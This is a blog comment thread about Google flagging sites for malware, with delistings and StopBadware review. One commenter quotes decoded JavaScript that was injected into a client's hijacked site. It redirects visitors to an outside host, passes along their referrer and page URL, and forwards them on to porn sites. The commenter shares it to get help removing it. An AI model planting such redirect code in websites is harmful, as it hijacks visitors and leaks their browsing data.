Even though it's not 100% accurate, it still makes people even less likely to visit the particular site. Anyway, this is the reply from Google: Our guidelines are that it’s safer to err on the side of caution with malware. Reincluding a site when we are not entirely confident the site is clean could hurt our users. Also, it takes quite a long time to do a malware reinclusion because checking a site for malware tends to be fairly difficult. I have to say that it’s just a caution to users.

I think to another thing to increase the security on google. I think it’s a very good idea because when I use internet from work it’s a lot better to know if a website is dangerous or no.

After you submit your site for review to StopBadware, an automated email says it will reply within 10 business days. The reason this person was blacklisted was because someone had used a JavaScript snippet to be added to some html files in one specific directory on a sub-domain and not the main website.It was a link that attempted to redirect the user to another machine, whose link no longer worked. Hope that helps. I read that it take a while to get rid of that warning. After you submit your site for review to StopBadware, an automated email says it will reply within 10 business days.

When I ran a report on this site, my website was shown to be absolutely clean. What can I do???? Please help! Hi Matt,

URL Hijacking:
I noticed strange beaviour this morning on my client’s website, we optimized the site and Google had indexed around 6000+ pages and was doing excellent on organic search results, however we found that our client sites URL was hijacked and it started showing some porn sites url and after investigating I found this redirection mechanism built into those pages if anybody has come across this pls pls drop ur thoughts on how to get rid of URL hijacking and stop this menance …

It loads a page not sure how that page got onto our client’s domain and that page builds a URL through javascript and does an redirectionand the code I decoded is below:

location=(“http://search4us.us/in.cgi?3&seoref=”+encodeURIComponent(document.referrer)+ “¶meter=$keyword&se=$se&ur=1&HTTP_REFERER=”+encodeURIComponent(document.URL)+”&default_keyword=lesbians”);

So it takes the HTTP REFERER and the redirects the traffic to this site search4us.us and which in turn redirects to some porn sites …

Is Google aware of this?? Is google gonna drop my clients search results?? What is going to happen with my client’s reputation?? anybody here can throw in some light here ….
